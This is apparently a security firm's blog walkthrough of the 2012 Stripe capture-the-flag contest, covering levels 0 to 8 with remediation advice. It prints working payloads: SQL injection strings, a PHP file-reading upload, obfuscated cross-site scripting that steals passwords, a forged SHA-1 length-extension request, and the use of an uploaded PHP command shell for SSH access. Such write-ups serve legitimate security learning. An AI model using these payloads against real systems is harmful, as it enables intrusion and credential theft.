True Stories of the TRC

Capture ALL the Flags

Several of us from WhiteHat’s Threat Research Center (TRC) in Houston recently participated in our first “Capture the Flag” (CTF). This particular one-week event, the Stripe CTF, running from noon August 22 to noon August 29, was designed with Web Application security in mind and was an excellent playground to exploit several vulnerabilities that we encounter almost every day here in the TRC. Background Capture the Flag is a hacking competition where teams of hackers attempt to attack and/or defend computers and networks using certain software and custom-built scripts. This particular CTF pitted the attacker(s) against each other in a race to complete the game’s challenges before the deadline, with the quickest solve-time worthy of praise. The objective of the Stripe game was to penetrate the proposed scenario − often mimicking real-life networking / online environments − and bring back the flag (a random string of characters) that’s then submitted for a point. Scoring a point enables you to advance to the next challenge. Each challenge can be visualized as a virtual scenario of “getting past enemy lines, obtaining the flag, and bringing it back home so you can be briefed on the next mission.” There are few situations, outside of legal penetration testing, where an aspiring whitehat can test his or her merit. This is one of them. The challenges at the start are fairly elementary, but quickly ascend in difficulty. The greatest difficulty, however, lies in setting up the challenge itself. I’d like to congratulate Stripe for hosting an extremely successful − and reliable − CTF experience. With thousands of hackers poking and prodding at the same servers, there’s bound to be both downtime and some failures on those servers. Fortunately, the only annoyances my colleagues and I experienced were trivial amounts of latency, at most. The developers participating in a CTF must also be aware of any bugs that can occur, and be able to lock down the underlying issue swiftly. My Results Stripe admins report that over 16,000 accounts have been created to attempt this CTF. My final solve time for the last flag netted me 228th place, based on a total solve time of 78.45 hours, from Wednesday, August 22, 2012, to Saturday, August 25. Given that this was my first CTF experience, I’m extremely happy with myself: After all, I did manage to get some sleep, and also had to save the internet from the evil clutches of malicious users. When I reached the last challenge, only 18 people had previously captured the final flag. However, due to still needing to strengthen my scripting language skills, 210 people were able to pass me before I figured out the last solution − with the assistance of fellow Ethical Hackers Zach Jones, Armando Sosa, and Raymond LeBlanc. Challenges Below I will include the challenge information that Stripe presented, each solution, and a discussion of the vulnerabilities that were present. Source Code For your reference, I’ve uploaded all of the code for the respective levels here. Let the games begin! Level 0: The (not so) Secret Safe Vulnerability: SQL Injection

The starting point − Level 00 – is the Secret Safe. The Secret Safe is a secure place for storing all of your secrets, and also stores the password you need to access Level 1. If only you knew how to crack safes…

The Web server programming here uses the node.js JavaScript server-side programming library. If you analyze line 45 of level00.html, you’ll see that a POST request will be parsed and inserted into the database. A GET request, as described on line 30, will print the pair for the key you supplied. However, line 34 presents a solution, using a LIKE in its query. Because of that, you can use the ‘%’ wildcard, which will evaluate true for all strings in the table, therefore printing all results. All you need to do here is input a ‘%’. Level 1: The Guessing Game Vulnerability Insufficient Input Validation

Excellent, you are now on Level 1, the Guessing Game. All you have to do here is guess the correct combination and you’ll receive the password to access Level 2! This level contains no security vulnerabilities − and the machine running the Guessing Game has no outbound network connectivity − so you probably wouldn’t be able to extract the password.  Or will you…?

In this Level 2 challenge, the developer makes a fatal mistake, by allowing untrusted input the chance to make its way into the application. On line 13 of index.php, extract allows access to any − and unlimited − input. That input will then take all of the parameter/value pairs in the URL and make them variables in the current scope, while also overwriting pre-existing parameter/value assignments. $filename is declared to be ‘secret-combination.txt’ on line 12 before the extract is called, so you need to overwrite this. When you supply a guess to the “secret combination” in this level, attempt=guessgoeshere will appear in the URL. By simply making a request with ?filename=&attempt= at the end of the query string you’ll obtain the flag. Because the value assigned to both parameters will be empty strings, they will satisfy the conditional on line 16. Level 2: The Social Network Vulnerabilities: Local File Inclusion, Abuse of Functionality

Excellent work so far! You are now on Level 2, the Social Network. Social Networks are all the rage these days, so we decided to build one for CTF. Fill out your profile at By doing this, you may even be able to discover your password for Level 3.

In this scenario, you are able to access an application that asks you to upload a profile picture to The Social Network, and are told that only “members of the club” can access password.txt. But if you navigate to directly, you’ll be denied access and receive the message: “Forbidden: You don’t have permission to access /~user-colhjxvfwo/password.txt on this server”. However, the upload profile picture functionality is not validating that only image file types should be uploaded as a “profile picture”. So no validation is done on the upload process, and the uploaded file gets stored at All you need to do is create a file called x.php and provide the following contents:

<?php echo file_get_contents(“../password.txt”);

Now you can navigate directly to /uploads/x.php and view your newly, and easily, acquired flag for submission. This Level 2 Challenge illustrates that, as a developer, you always want to validate your input. If you are only expecting images (jpg, png, gif, etc.), be sure to employ several test cases that properly validate that these files are the only files possible to upload. Also, be mindful that just because an extension ends in .jpg doesn’t mean it’s an actual .jpg file. Looking Ahead: File upload abuse can cause a world of problems. It’s so severe that you’ll be using it to exploit the Level 8 Challenge. Level 3: The (still not so) Secret Safe v2.0 Vulnerability: SQL Injection

After the fiasco in Level 0, management has decided to fortify the Secret Safe into an unbreakable solution − kind of like Unbreakable Linux. The resulting product is Secret Vault, which is so secure that it requires human intervention to add new secrets.

A beta version has launched with some interesting secrets − including the password to access Level 4; you can see the password at “Bob” has your flag in Level 3, and the flag is his password. As a simple blind SQL test, you can attempt to log in with username=’&password=’. The resulting page will be an error page complaining that you’ve provided invalid syntax. This is “music to a any penetration testers delicate ears.” Inspect lines 86-87 and you’ll encounter a query that is not using prepared statements.

query = """SELECT id, password_hash, salt FROM users WHERE username = '{0}' LIMIT 1""".format(username)

Lines 95-97 reveal another interesting detail: They expose that the supplied password is first salted (realuserpassword+randomcharacters); then has SHA256 encryption applied. This is then converted to HEX and compared to a previously stored database version of the users encrypted password.

calculated_hash = hashlib.sha256(password + salt)

if calculated_hash.hexdigest() != password_hash:

return "That's not the password for {0}!n".format(username)

You want the password for bob, so all you need to do is satisfy the query that it is getting what it’s expecting, and then provide a conditional that is always true where username = bob. You will also need to supply an id, a SHA256 representation of any string, a salt (which can be an empty string), and then a query that simply selects bob, followed by commenting out the rest of the SQL syntax. We can retrieve bob’s password by supplying the following POST request:

username=' UNION SELECT id, '37268335dd6931045bdcdf92623ff819a64244b53d0e746d438797349d4da578', 'test' FROM users where username='bob' --&password=test

Hello, pretty Flag No. 3. If only the developer had escaped the input, this vulnerability could have been prevented. And, now, on the following page you are returned the following message:

Welcome back! Your secret is: “The password to access level04 is: TzukOHMEmW”

Level 4: The Karma Trader Vulnerability: Cross-Site Scripting

The Karma Trader is the world’s best way to reward people for good deeds:https:// You can sign up for an account, and start transferring karma to people who you think are doing good for the world. In order to ensure you’re transferring karma only to good people, transferring karma to a user will also reveal your password to him or her. The very active user karma_fountain has infinite karma, making it a ripe account to obtain. After all, no one will notice a few extra karma trades here and there. The password for karma_fountain‘s account will give you access to Level 5.

In this application, the currency Karma is gifted to other users. To ensure that it is traded legally, Alice shows Bob her password when Alice gives Bob any Karma. With this methodology, only “good” people will be gifted Karma. There is a JavaScript-driven bot named karma_fountain that periodically logs in, but does nothing other than the login. On the bottom of the karma_fountain page all users in the system are listed, along with a timestamp of when they were last active. karma_fountain’s password is your flag, and it’s immediately apparent that you want karma_fountain to give you Karma, which will expose the level 5 flag to you. However, karma_fountain simply just logs on, and then logs off. Because karma_fountain has his own session, you can expose an injection to him by supplying the injection to your own password, followed by giving karma_fountain some Karma. Upon logging in and checking his own Karma, our password/injection will be rendered on the karma_fountain page, which forces a request from karma_fountain to a user of your choosing. In the following injection (modified for readability), karma_fountain is forced to send a POST request that sends 5 Karma to the user “winner”:


var xhr = new XMLHttpRequest();"POST", '', true);

xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");



After supplying the injection, you only need to wait for Karma_Trader to log in. Several minutes of page-refreshing later, karma_fountain logs in and his password is displayed to us:

karma_fountain (password: yQNQNLM1gG , last active 03:40:04 UTC)

Thus, Cross-Site Scripting is made possible by a combination of two situations: Improper input validation, and the absence of output encoding. In the above situation, the only input not being validated is the password field. Proper XSS remediation techniques can be found at the OWASP XSS (Cross Site Scripting) Prevention Cheat Sheet. Level 5: The Stripe CTF Domain Authenticator Vulnerability: Insufficient Authentication

Many attempts have been made at creating a federated identity system for the Web (see OpenID, for example). However, none of them have been successful. Until today. The DomainAuthenticator is based on a novel protocol for establishing identities. To authenticate to a site, you simply provide its username, password, and pingback URL. The site then posts your credentials to the pingback URL, which returns either “AUTHENTICATED” or “DENIED”. If “AUTHENTICATED”, the site considers you signed in as a user for the pingback domain. You can check out the Stripe CTF DomainAuthenticator instance here: You can use it to distribute the password to access Level 6. Now, if only you could somehow authenticate yourself as a user of a level05 machine… To avoid nefarious exploits, the machine hosting the DomainAuthenticator’s network access is very locked down, allowing it to make only outbound requests to servers. However, say you’ve heard that someone forgot to internally firewall the high ports from the Level 02 server…

Given that knowledge, you now need to provide a username and password, as well as a pingback URL that outputs AUTHENTICATED − indicated by line 107-109.  The regex also specifies that AUTHENTICATED must start and end with a word character.

body =~ /[^w]AUTHENTICATED[^w]*$/

However, the pingback URL will be accepted only if it is hosted on


Hmmm…. So, you need to reference a file and it can only come from The convenient and vulnerable level02 server with the Abuse of Functionality File Upload comes to mind, except it is not in KNOWN_HOSTS on line 55. Because it’s not recognized, the script will not show you the password if you just blatantly reference the file that contains the ” AUTHENTICATED ” output.



Or can you? The code might be a bit misleading, but technically, if you upload a file containing the contents ” AUTHENTICATED ” to the level02 server, and place the URL to that file as a value to the pingback parameter, the following steps will occur:

  1. Application sends a pingback to the level05 server asking if you’re authenticated.
  2. The level05 server then chains this pingback to the level02 server, gets its response, and supplies that response as input coming back to the level05 server’s Web application.
  3. Because the level02 server responded with the response ‘ Authenticated ‘, the level05 server responds with the authenticated output.

Again, in this situation, no user input was validated. The developers did not anticipate that a user might recursively chain URLs. Therefore, wherever a user can supply input, the application must have checks in place that validate that the input is trusted and expected. Only then should the input be accepted. Level 6: The Streamer Vulnerability: Cross-Site Scripting

After Karma Trader, from Level 04, was hit with massive karma inflation − purportedly due to someone flooding the market with massive quantities of karma − the site closed its doors. All hope was not lost, however, because the technology was acquired by a real up-and-comer, Streamer. Streamer self-proclaims itself as the most streamlined way of sharing updates with your friends. You can access your Streamer instance here: Streamer’s engineers, realizing that security holes led to the demise of Karma Trader, greatly beefed up the security of their application. Which is really too bad, because you’ve learned that the holder of the password to access Level 07, level07-password-holder, is the first Streamer user. Furthermore, the level07-password-holder is taking a lot of precautions: His or her computer has no network access other than the Streamer server itself, and his or her password is a complicated mess, including quotes and apostrophes and similar complexities.

Level 7 seemed to stump a lot of people, but wasn’t that difficult for me. In fact, the challenge was lots of fun. The main problem I had was learning a bit of jQuery to solve this problem. The trick here, very similar to the Level 4 challenge, was to force the level07-password-holder to unwillingly post the password. Below is a screenshot of the post functionality that you get to exploit in this application. When you click on your name, a request is made to /user_info that shows your username and password: Also, when attempting to make a post to the Streamer, the following POST body is sent:


Several people seemed to get stuck at this point because they saw a CSRF token. This is a very effective defense at stopping someone from forging a fake request and then tricking another user into submitting the request. However, if a Cross-Site Scripting vulnerability is present, CSRF is very easily circumvented. By testing a post with a simple injection <script>alert(1)</script> to see the behavior, the streamer breaks and the functionality disappears. Instead, only bits and pieces of broken code appear. Let’s examine this error in greater detail, because it’s fundamental in getting the injection you’ll need to work. All right, something went wrong. Let’s take a look at the DOM environment and see what happened:

<script>var username = "testing";

var post_data = [{"time":"Tue Aug 28 05:14:19 +0000 2012","title":"testing","user":"testing",

"id":null,"body":"testing"},{"time":"Tue Aug 28 05:14:20 +0000 2012","title":"testing",

"user":"testing","id":null,"body":"testing"},{"time":"Tue Aug 28 05:14:20 +0000 2012",


{"time":"Tue Aug 28 05:23:45 +0000 2012","title":"testing","user":"testing","id":null,

"body":"testing"},{"time":"Tue Aug 28 05:23:45 +0000 2012","title":"testing","user":"testing",


function escapeHTML(val) {return $('<div>').text(val).html();}function addPost(item)

{var new_element = '' + escapeHTML(item['user']) +'<h4>' + escapeHTML(item['title']) + '</h4>'

+escapeHTML(item['body']) + '';$('#posts &gt; tbody:last').prepend(new_element);}

for(var i = 0; i &lt; post_data.length; i++) {var item = post_data[i];addPost(item);};

It appears the Streamer’s functionality was broken by preemptively ending the script tag, causing all of the text past our </script> tag to be displayed. This can be easily remedied by starting our injection with a closed script tag, opening it back up, inserting the payload, closing it off again; and then opening it back up. Your injection will now live in the inner script tags, whereas the outer script tags will be used to repair the damage you’ve done to the Streamers’ posting functionality.

</script><script> Malicious payload will go here </script><script>

It’s also worth noting that upon testing an injection with </script><script>alert(‘XSS’)</script><script>, the injection didn’t fire because there is a bit of filtering going on with the input. It appears the application is rejecting any input that contains (‘) and (“). So you need to do two additional things to get this injection to work. First, you’ll need to make a request to the page /user_info to retrieve the password. Secondly, you’ll need to get the level07-password-holder to post the /user_info response. You can accomplish all this by using the following injection, separated with a statement on each line for readability:





title:'x',body: data,_csrf:document.getElementsByName('_csrf')[0].value});



Awesome! You now have an injection that will work. However, there remains one pretty big underlying problem to overcome. Remember the rejection of input containing (‘) and (“)? Those characters are in our injection, and the level07-password-holder also has them in his or her password. Not only will this prevent the above injection from being accepted, but this situation will not allow the full password to be returned – and even if you could strip (‘) and (“) in the /get_info response, that would be counter-intuitive as you would not receive the full password. “As well, level07-password-holder is taking a lot of precautions: His or her computer has no network access other than the Streamer server itself, and his or her password is a complicated mess, including quotes and apostrophes and the like.” The way you can overcome these precautions is to use some simple filter evasion techniques. With JavaScript, there’s a seemingly infinite number of ways to do this, limited only by an attacker’s own ingenuity. One nifty trick that you can employ for this little quote fiasco is to replace title:’x’ and document.getElementsByName(‘_csrf’) with title:/x/.source and document.getElementsByName(/_csrf/.source). However, you can’t do the same thing for ‘/user_info’ and ‘/user-irnpeljyje/posts’, because of the leading / character. An error would occur with this method if you attempted //user_info/.source and //user-irnpeljyje/posts/.source. The way to bypass that problem is to convert each character to unicode, and place those characters in a String.fromCharCode(). Now you have one last obstacle to overcome, which is the level07-password-holder having (‘) and (“) in the password. The current technique for accessing this password is to take the full HTML response from your GET request to /user_info and storing it in the variable data. In order to prevent your forced post from being rejected, you can use the escape() function to encode every character in that source. Your final injection will then be the following:


$.get(String.fromCharCode(117, 115, 101, 114, 95, 105, 110, 102, 111),


$.post(String.fromCharCode(47, 117, 115, 101, 114, 45, 105, 114, 110, 112, 101, 108, 106, 121, 106, 101, 47, 112, 111, 115, 116, 115),{

title:/x/.source,body: escape(data),_csrf:document.getElementsByName(/_csrf/.source)[0].value});



One last interesting note is that the Streamer’s functionality will show only the most recent 5 posts. This injection will cause all persons requesting the page to inadvertently post their passwords, including your own! The level07-password-holder account behaves exactly like the karma_fountain account from level 4, in the sense that it will sporadically log on and off. The exception here is that level07-password-holder likes to taunt you with posts like, “Are you feeling hungry for a sandwich?” or “I have a new good book for you to read.” Well, you can show him who’s in charge. After posting the injection, logging off, waiting about 5 minutes (sandwich sounds really good right about now, thanks level07-password-holder), and then logging back in, you get to see that your friend has posted his or her own password. Oops? =) Now that you have the response of the password page for the level07-password-holder, all that’s left to do is decode the post and extract the part that you want – take a close look at lines 3 and 4 from the bottom of the above image. You’ve Conquered Level 6, so just two more Challenges to go!


Level 7: Waffle Thievery Vulnerability: Insufficient Authorization along with weak cryptography implementation

Welcome to the penultimate level, Level 7. WaffleCopter is a new service that delivers locally sourced organic waffles coming hot off vintage waffle irons, and straight onto your location using quad-rotor GPS-enabled helicopters. The service is modeled after TacoCopter, an innovative and highly successful early contender in the airborne food delivery industry. WaffleCopter is currently being tested as a private beta model in select locations. Your goal is to order one of the decadent Liège Waffles, which is offered only to WaffleCopter’s first premium subscribers. Log in to your account at with username ctf and password being password. You will find your API credentials after logging in.

This is by far the most intriguing challenge of the CTF. While the straightforward goal is to order the magnificent Liege Waffle, it’s soon very clear that you are not as special as other people in this world, and that you lack the premium status required to order a Liege Waffle. Thankfully, hackers don’t need premium status to order premium “things.” Upon logging in, the following information is presented:

Your API credentials

  • endpoint:
  • user_id: 5
  • secret: 9tjDFCx5FNgqjD

Available waffles

  • liege (premium)
  • dream (premium)
  • veritaffle
  • chicken (premium)
  • belgian
  • brussels
  • eggo

And that’s all. There’s a link to API Request Logs at /logs/5, but it doesn’t show anything. However, your user_id is also 5, so what are the odds that you can force browse to /logs/1, and then see user_id:1’s API Request Logs? Yes. Bingo!

API Request Logs




2012-08-22 10:32:08



2012-08-22 10:32:08



If you try to repeat this POST request to /orders, but change waffle=liege, you get the message “that waffle requires a premium subscription.” Consequently, if you provide user_id = 1 (we know he’s a premium user, because he’s ordered a chicken waffle) you receive the message “signature check failed.” What this tells you is that some sort of authentication is validating the source of the order. Every user has a secret key that is used to sign a request and create a signature. The server then verifies this signature, and either accepts or rejects the request based on the validity of the signature. Here’s a definition in that shows what’s going on in the signature verification process:

def verify_signature(user_id, sig, raw_params): # get secret token for user_id try: row = g.db.select_one(‘users’, {‘id’: user_id}) except db.NotFound: raise BadSignature(‘no such user_id’) secret = str(row[‘secret’]) h = hashlib.sha1() h.update(secret + raw_params) print ‘computed signature’, h.hexdigest(), ‘for body’, repr(raw_params) if h.hexdigest() != sig: raise BadSignature(‘signature does not match’) return True

Let’s analyze this definition. First, the cryptographic function being performed is SHA-1. SHA-1 is a mathematical cryptographic process known to be vulnerable, and although it provides a decent layer of protection, it’s crackable. In this code, the user’s secret is pulled from the database, a SHA1(secret + raw_params) is created, and that secret is then compared against the signature sent in the same request. If the signatures are identical, the request is accepted; otherwise, it’s rejected. So… What’s there to exploit? Well, SHA-1 itself, when you understand how it works. The Hash Length Extension Attack (

One iteration within the SHA-1 compression function:
A, B, C, D and E are 32-bit words of the state;
F is a nonlinear function that varies;
n denotes a left bit rotation by n places;
n varies for each operation;
Wt is the expanded message word of round t;
Kt is the round constant of round t;
block denotes addition modulo 2^32.

Hash algorithms, such as SHA1(Secure Hash Algorithm), are finite state machines operating on a fixed-size block of input that’s successively reduced to the current internal state. The implementation of SHA applies a hashing function to both the currently active internal state and the current block, which results in the next internal state. What this tells you is that the input, at any moment of time, is always in the current internal state. In order to exploit this situation, you’ll need to implement your own variation of the SHA1 Algorithm that extends the hash. This process can be done by placing the internal state at the end of the input, and then adding more blocks of input. If you remember the /orders POST requests from above, you’ll see they have given us signatures. You also know that the length of the secret key is 14, and with this information, you can generate the proper amount of padding. For SHA1, when the input is not an exact multiple of the block size, the input gets padded in the background until it is 20 bytes. With this added padding, you end up with a signature from SHA1(secret, paddingOf(secret), message), where the message and the paddingOf(secret) that you supply is the padding added to the message in the original computation. Of course, for you to generate the paddingOf(secret), you must know the length of the secret (which you do know). If you suppose that SHA1(secret) is a hash signature, and secret is actually a keyed hash; and if you know the length of secret, you can create the SHA1 hash signature of (plaintext + paddingOf(secret) + whateverWeWantHere) without knowing the secret key. You already know a valid plaintext request, and if you assume that all users on the system have the same key length that you were given when first visiting the application, you can generate the padding required. This was done with the “” script located here. What you want to do here is take a request that you are able to make with your account, and then append the padding and new message. This will give you something similar to the following:

count=2&lat=37.351&user_id=1&long=-119.827&waffle=chickenx80x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x02&waffle=liege|sig:5fe73d0cbd3b4e82f9b87970041851d232e757cd

 The x00’s are ASCII representations of null bytes; in fact, it’s a specific byte value of HEX 0. Some of the information actually gets lost when printing the byte value, so you’ll need to submit the request with a Python script (otherwise, you’ll be sending strings of null bytes, instead of actual null bytes, if you tried to send the request as POST data through a browser). After completing this challenge I recently learned that you can use some intercepting proxies to send decoded null bytes, but I had not known that at the time of tackling this problem. Upon acceptance of the signature from your hash extended request, you’ll be given the flag that gives provides access to the final challenge. In this challenge, the developer should have used Hash-based message authentication codeinstead of a straightforward SHA1 implementation. Without the information leakage of the signature or the insufficient authorization(force browsing to logs/1) − which is obviously not on your account, and also would have prevented you from seeing a valid signature − it would have been much more difficult to order the liege waffle. Level 8: Cracking the Code Vulnerabilities: Information Leakage, Brute Force

Welcome to the final level, Level 8. HINT 1: No, really, you’re not looking for a timing attack. HINT 2: Running the server locally is probably a good place to start. Anything interesting in the output? UPDATE: If you push the reset button for Level 8, you will be moved to a different Level 8 machine, and the value of your Flag will change. If you push the reset button on Level 2, you will be bounced to a new Level 2 machine, but the value of your Flag will NOT change. Because password theft has become such a rampant problem, a security firm has decided to create PasswordDB, a new and secure way of storing and validating passwords. You’ve recently learned that the Flag itself is protected in a PasswordDB instance, accessible at PasswordDB exposes a simple JSON API. You just POST a payload of the form {“password”: “password-to-check”, “webhooks”: [“”, …]} to PasswordDB, which will respond with a{“success”: true}” or {“success”: false}” to you and your specified webhook endpoints. (For example, try running curl -d ‘{“password”: “password-to-check”, “webhooks”: []}’.) In PasswordDB, the password is never stored in a single location or process, making it the bane of attackers. Instead, the password is “chunked” across multiple processes, called “chunk servers”. These may live on the same machine as the HTTP-accepting “primary server”, or they may live on a different machine for added security. PasswordDB comes with built-in security features, such as timing attack prevention, and protection against using inequitable amounts of CPU time − relative to other PasswordDB instances on the same machine. For maximum security, the machine hosting the primary server has “Locked Down” network access. The server can make only outbound requests to other servers. However, as you learned in Level 5, someone forgot to firewall off the high ports internally from the Level 2 server. It’s almost like someone on the inside is helping you — there’s an sshd running on the Level 2 server as well. To maximize adoption, easy usability is also a goal of PasswordDB. Hence, a launcher script, password_db_launcher, has been created for the express purpose of securing the Flag. This script validates that your password looks like a valid Flag, automatically spinning up 4 chunk servers and a primary server.

 All I can say for this challenge is “Wow!” What a beast. Solving Level 8 took more than twice as long as challenges 0 through 7. The Level 8 situation is as follows: The level08 server starts a database that contains a random 12-digit password that contains only numbers. Four “chunk” servers are then created and each chunk is given 3 digits of the password.

John-Kuskos:level08-code johnathankuskos$ ./password_db_launcher 111222333444
Split length 12 password into 4 chunks of size about 3: ['111', '222', '333', '444']
Checking whether is reachable
Checking whether is reachable
Checking whether is reachable
Checking whether is reachable
Launched ['./chunk_server', '', '111'] (pid 87332)
Launched ['./chunk_server', '', '222'] (pid 87333)
Launched ['./chunk_server', '', '333'] (pid 87334)
Launched ['./chunk_server', '', '444'] (pid 87335)
Checking whether is reachable
Condition not yet true, waiting 0.35 seconds (try 1/10)
Checking whether is reachable
Checking whether is reachable
Checking whether is reachable
Checking whether is reachable
Launched ['./primary_server', '-l', '/tmp/primary.lock', '-c', '', '-c', '', '-c'

After running this local copy of the database, you will observe that the application outputs a single JSON string to the user, based on whether a correct or incorrect 12-digit key was submitted, either {“success”: false} or {“success”: true}. To evaluate this response, the server will first break up your submitted 12-digit password into 4 chunks (if password is 111222333444, chunk1 would check 111, chunk2 would check 222, etc.), and then check the first chunk. If the chunk1 server evaluated the supplied chunk as correct, the flow of logic would continue to the chunk2 server, and it would then test for truth; if true, then the chunk3 server would check for truth, until finally, if all three chunks were true, the final chunk server would check if its own chunk were true. However, if the first chunk server fails its test, chunk servers 2, 3, and 4 would never be evaluated, and the user would be returned a single {“success”: false}. The same situation also occurs when the first chunk and second chunks are correct, but the third chunk is incorrect, causing the chunk4 server to never evaluate its chunk. It’s also possible to instruct the chunk servers to send their output to a webhook, if one is created:

[] Received payload: '{"password": "000000000000", "webhooks": []}'
Acquiring lock
[] Split length 12 password into 4 chunks of size about 3: [u'000', u'000', u'000', u'000']
[] Making request to chunk server ('', 2163) (remaining chunk servers: [('', 2164), ('', 2165), ('', 2166)])
[] Received payload: '{"password_chunk": "000"}'
[] Request already finished!
[] Responding with: '{"success": false}n'
[] Going to wait 0.00488090515137 seconds before responding
[] Request already finished!
[] Responding with: '{"success": false}n'
Releasing lock

Sadly, and serving as another brick wall, the level08 server is inaccessible to outside connections. There is absolutely no way for you to access it externally. However, the level08 server can talk to any of the other CTF servers. Remember our friend, the ever-so vulnerable level02 server? Cracking the Code Step 1. Obtaining a shell on level02 You already know that the level02 server has ssh capabilities. Because you can run php on the level02 server, you can test for command-line access. You can run the Ajax/PHP Command Shell − it’s quite popular and has great practical use in this step − from ( Once Ajax/PHP Command Shell is uploaded, you can use the browser as an interactive terminal from the level02 server. Step 2. Obtaining SSH access After obtaining command line access, it will be as simple as creating ssh public/private pair keys and uploading the public key to the level02 server. After placing the public key in the correct directory (/mount/home/user-abcdefghij/.ssh/) and chmod’ing it to 600, you can get in with the command ssh Step 3. Analysis Before you can start attacking, you need to figure out how the database actually works. On the local copy of the database, I previously wrote a listener in Python that would get the callbacks from the password request checks. What you will notice is that for the first chunk(testing password 000xxxxxxxxx through 999xxxxxxxxx), the ports coming back to the listener from the chunk servers will increment by 3 if the chunk submitted was a false chunk. If the trunk is true, it will increment by 4. You then supply a correct first chunk, and a test second chunk. Assuming the first correct chunk is 123, you’re now testing the password 123000xxxxxx through 123999xxxxxx. False test chunks for chunk 2 will result in an increment of 4, and the positive chunk will increment by 5. The same situation will occur for the third chunk, a false submission will increment by 5, and a true submission will increment by 6. For the final chunk, you will just run all 4 chunks against the level08 server and watch for a {“success”: false} or {“success”: true}. If a true is encountered, you will then have your flag. Step 4. Cracking the Code With the methodology in place − and probably at least 2 days spent learning and implementing a 350-line script in Python ­− the brute forcing script would take approximately 5 to 25 minutes to crack the 12-digit code, depending on the randomness of the chunks and the network traffic. For instance, network traffic on the production servers differed heavily from WhiteHat’s local copy. In fact, we encountered a third test case, neither true nor false − but inconclusive − that we’ll need to retest. What we’ll do is send one request, get back its response, and then − before sending a second request – from 3 to 20 other hackers participating in the challenge will have sent their requests. This activity will result in a port difference between approximately 7 and 200 − depending on network traffic, with higher traffic equaling higher difference.  Because we could not rule out any difference based on that value, we kept every iteration in a loop that would constantly evaluate the value, until it was either ruled out by encountering our condition for a false chunk, or matching our condition for a potential true chunk at least 10 times. At the 10th iteration of possibly being true, we would accept it as highly likely to be a true chunk, and then move on to the next chunk. The entire brute forcing output we used can be found here, along with the script that generated it here. The following output is from the end of our brute force solution:

{"Success": "false"}

{"Success": "false"}

{"Success": "false"}

{"Success": "false"}

{"Success": "false"}

{"Success": "false"}

{"Success": "false"}

{"Success": "true"}

Flag Found: 204771432466

Solve time ~ 1767.952389 seconds

The brute forcing approach was only possible because of the info leak provided from the chunk servers. Although this approach was probably the intended method for completing the competition, in the real world we all too often encounter responses from servers that are too detailed. That is, when you let users know where information is originating, they know exactly where to focus their attacks. Summary This CTF was intense and sparked a new interest in exploitation for me. I can’t wait to participate in the next one. Anything for a free t-shirt, right?   References During the challenge, I did heavy research on Python, jQuery, and encryption in order to solve the challenges. Listed below are references that were very helpful to me:

“The only truly secure system is one that is powered off, cast in a block of concrete and sealed in a lead-lined room with armed guards and even then I have my doubts.” ~Dr. Eugene Spafford, Purdue University

Special thanks to Stripe, Inc.
The text above that appears in the brown italic font indicates that the description of each of the 8 Levels comes directly from the Stripe website. I used this procedure in order to ensure that I accurately depicted this CTF as Stripe originally intended, and Stripe has granted permission for the use of the text.  

  • My Website

    Wow, that’s what I was exploring for, what a data! existing here at this weblog, thanks admin of this site.

  • Walter White

    In a CTF contest, do they provide the source code? I do not think so…But you have mentioned you have uploaded the code base for reference?